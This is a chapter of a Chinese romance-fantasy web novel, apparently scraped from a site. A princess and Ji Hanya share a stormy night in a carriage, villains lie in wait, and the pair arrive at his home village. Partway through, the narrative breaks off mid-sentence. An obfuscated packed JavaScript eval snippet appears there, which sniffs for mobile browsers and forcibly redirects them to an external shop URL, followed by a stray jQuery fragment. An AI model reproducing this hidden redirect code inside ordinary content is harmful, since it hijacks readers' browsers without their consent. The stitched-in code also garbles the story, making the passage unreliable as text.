马车晃得厉害,苏念念要紧紧抓住靠椅的边沿,才能稳稳地躺住。
忽然手一滑,连人带被子滚到了季寒鸦身上。
她看着季寒鸦近在咫尺的脸,比梦中要清晰得多。
他的眼睛可真好看,前面内双,到眼尾勾出一个恰到好处的弧形,睫毛不算长却密,眉毛浓淡相宜,因为刚刚被撞到,而微蹙着。
鼻子挺而直,只见那让人看了想亲的嘴巴,开合间吐出几个字来。
“你摔傻了?”
苏念念瞬间收回所有旖旎心思,这乌鸦嘴,说不出好话。
赶紧回到自己的位置躺好,期盼马车不要再晃了。
然而天不遂人愿,马车还在继续晃,苏念念继续摔。
一会儿是胳膊,一会儿是腿,一会儿又是屁股,换着样地往季寒鸦身上撞!
“苏念念,我怀疑你是故意的。”季寒鸦推开他面前的脚丫子,咬牙切齿地说道。
面前却出现一张泪流满面的脸,念念边哭边揉着脑袋说:“我都摔得够惨的了,你还这样说我。”
季寒鸦一脸黑线说道:“不然我们换位置?”
“不要!”苏念念赶紧回到自己的位置,她可受不了他像自己撞他那样撞自己。
“还有,我听见你笑了。”
他内心在笑我。
好在风渐渐小了,马车没那么晃了。
两人终于可以安安稳稳地躺一会儿了。
此时马车外仍然电闪雷鸣,马车内却祥和安宁。
苏念念一时睡不着,借着闪电的光,描绘他的侧脸,鼻子果然很高,线条流畅,下颌骨清晰……在这光影交错之间,温柔如诗。
甚至连落下的雷,也没那么可怕了……
“你还不睡?”
他闭着眼睛也能知道?苏念念赶紧闭眼假睡。
隔了一会儿,她再次睁开眼睛,看他的下巴,喉结,平稳起伏的胸膛……
“你总盯着我干什么?”
苏念念脸上一红,没得狡辩,只好不吭声。
季寒鸦轻叹一声,伸出手,在她肩头有节奏地轻轻拍着,一下两下三下……
他……在哄小孩睡觉?
“我可不会唱歌。”
季寒鸦边拍边说,言外之意,别指望我给你唱摇篮曲。
“有雨在唱呢……”苏念念轻声说着,嘴角勾起笑意,终于合眼而睡。
哄小孩就哄小孩吧。
雨噼里啪啦地打在车顶上像是在演奏一曲丝丝碎碎的乐章……
细雨如歌。
苏念念又悄悄往季寒鸦那边凑了凑,能清楚地感受身边人的体温,均匀的呼吸,以及他身上淡淡的香气……
时间不再流逝,天地万物都消弭了,世间只剩这一辆小小的马车,也只剩她与季寒鸦两个人。
外面再大的风雨,再闪的雷电,都与他们无关。这窄小的车厢,便是此刻最安稳的地方。
这样和寒鸦哥哥安安静静地靠在一起,足够了……
念念觉得,她喜欢上了这种天气……
风雨来得突然,走得也悄然无息。
苏念念醒的时候,发现自己竟躺在了季寒鸦原本的位置上,而季寒鸦已经起身,不在身边了。
她心中一惊,伸手去摸自己原本该躺的地方,凉的,可见已经睡过来许久了,难道自己挤着他睡了一夜……
不止挤着睡了,她身上盖得还是季寒鸦的被子!
救命,苏念念啊苏念念,你睡着的时候究竟干了什么?竟然放纵自己一点点靠近他。
她羞得把自己蒙在被子里,真是恨不得时间回到昨晚,一定管好自己别乱动。
忽然车窗被打开,滚进来几颗带着凉气的果子,“咚”地又被关上。
再纠结下去也毫无意义,苏念念从被子里探出头来,说不定自己是在寒鸦哥哥起床之后,自己才过来的呢。
她理理头发,捡起果子,蹑手蹑脚地打开车门,车门刚开一条缝,原本暖和的车里就灌进一股凉气,接着苏念念便闻到潮湿的泥土和松木的味道,令人心旷神怡。
到底是秋天了。
季寒鸦刚给拉车的马擦洗完毕。
“寒鸦哥哥,早啊,马有没有事,还能走吗?”苏念念装作若无其事地问道。
“嗯。”季寒鸦应了一声,头也没回。
他怎么不理人呢?定是我挤着他,害他没睡好,生气了。
念念犹豫再三,还是决定说出来:“寒鸦哥哥,我、我睡相不太好,昨晚、昨晚挤着你了吧?抱歉呀。”
季寒鸦套马车的手一顿,耳尖都红了,立即回想起,早晨醒来时,入眼的就是苏念念睡得正香的,因为过于白嫩,压出了淡淡的红印的小脸。
滚得微乱的秀发,细密而长的睫毛,小鼻尖上细小的汗珠,晶莹红润的嘴唇,呼出的气拂过他的脖子,轻轻的痒痒的,以及她身上似有似无的甜香。
自己则被她挤得贴在车板上,她还盖着自己的被子,不知什么时候钻进来的。
正想起身,苏念念却像不满靠着的人离开似的,抬起小脸浅哼了一声,撅起的小嘴蹭到了他的下巴。
季寒鸦本就有男子早晨的反应,这会只觉得浑身血液翻涌,几乎要控制不住。
不行,得下车冷静一下。
距苏念念醒来,他已经冷静有一个时辰了。
他继续套马车,回道:“没有,我早起了。”
“真的吗?”苏念念松了一口气,开心起来。
“寒鸦哥哥,分你一半果子。”她把最大最漂亮的红果子切开,递给季寒鸦一半。
“放那吧。”连看也没看。
“寒鸦哥哥,我来帮你套车吧。”说着便要跳下车来。
“回车里去。”不容质疑的语气。
苏念念动作停住,这阴晴不定的乌鸦,本公主懒得理他!
她撤回迈出去的脚,坐回车里,挨着微凉的车板坐下。撩开车帘,透过车窗望着高远的天空,洁净如洗,湛蓝无云,让人心胸开阔。
这点小事不必计较。
“云都散了呢。”她轻声自语道。
那团厚重的乌云并没有散,而是被风推着向北移动,暴雨气势汹汹,所过之处,无不洗涤得透彻。一路来到了十里亭上空。
十里亭处二十几个村人在地里麻木地挥着锄头,动作机械木讷,地都铲坏了也不管不顾。他们已经在这里不眠不休地劳作了十余日,脸上看不到半分疲惫,也看不到半分生气。
大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371896|199950||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雨倾盆而下,这些人仍然没有躲雨的意思,继续重复着锄地的动作,对这滂沱大雨视若无睹。
不远处的一处茅草屋里,被巨鹰带走的风玉屏正在此处,他坐在桌前啃着鸡腿。
“你说的季寒鸦真的有那么强么?”角落里阴影中的人问道。
风玉屏一拍桌子:“那还有假?他几招就把我的灵虎打死了,还打伤了我的巨鹰。”
那人从阴影中走出来,只见他长得高大魁梧,五大三粗,粗中有细……正是月满城。
“真想快点见到他,我要亲手捏碎他的骨头。”
这两人望着窗外的暴雨,焦急忧心。
“他们怎么还不来,该不会是迷路了吧。”
“我们该不会是迷路了吧?”
苏念念望着窗外有些荒凉的景色,怎么感觉越走越偏远了。
季寒鸦停了车,站在那一动不动地望着远方,任由风吹乱他的头发,吹得衣衫猎猎作响,孤挺的背影显得格外萧条寂寞。
“这是哪里?”苏念念也下了车,站在他身边,顺着他看着的方向望去,“你在看什么?”
“我的家乡。”
这话说得不悲不喜。苏念念看不出他对家乡是什么态度,不过既然是家乡,总归是留恋的吧。
“我们去吧,你的家乡。”
“真的要去吗?”他的神色终于有些动容。
寒鸦哥哥的家乡啊,他长大的地方,她很好奇。他应该也很久没回去过了,不知道他家里还有什么人?
“要去!”苏念念喊着,几乎要跳起来。
随着苏念念的一声呼喊,惊起林中无数飞鸟,群鸟伴着马车,一路飞到白梅村。
两人刚一进村,村边闲聊的村民见了,立即神情紧张起来,收拾了东西,急匆匆回家了。原本跑闹的孩子被大人叫了回去,连各家养的牲畜也被赶回了家……
一会儿功夫,村里家家闭户,路上见不到人了。
苏念念看着他们的样子,很是奇怪,不过是来了两人生人,也不至于怕成这样呀?
“寒鸦哥哥,是不是你太久没回了,村里人都不认识你了?”
“不,他们就是认识我才跑的。”
?
苏念念上下打量着季寒鸦,眉清目秀的怎么就把人吓跑了呢?
“他们为什么这么怕你?你把人家房子拆了?”
季寒鸦冷笑:“比那还要严重。”
苏念吃惊地瞪大眼睛,想不到这帅气少年,竟然是村中一霸?!
看不出啊看不出,发生了什么事吗?
“寒鸦哥。”
这时,前方跑过来一个姑娘,直奔他们二人而来。
这姑娘虽是村姑打扮,也晒得黑了些,但是她神采飞扬,天真质朴,让人见了不免心生喜爱。
她手里提着箩筐,跑得气喘吁吁,脸颊绯红,说道:“果然、果然是你回来了,寒鸦哥。”
不等两人回话,又说:“我回去告诉娘去。”说完,一溜烟似的跑走了。
苏念念:“她是谁啊?”
季寒鸦:“邻居家的孩子。”
邻居家的孩子?年纪又差不多,那岂不是青梅竹马?
苏念念不自觉地拉住了季寒鸦的衣袖。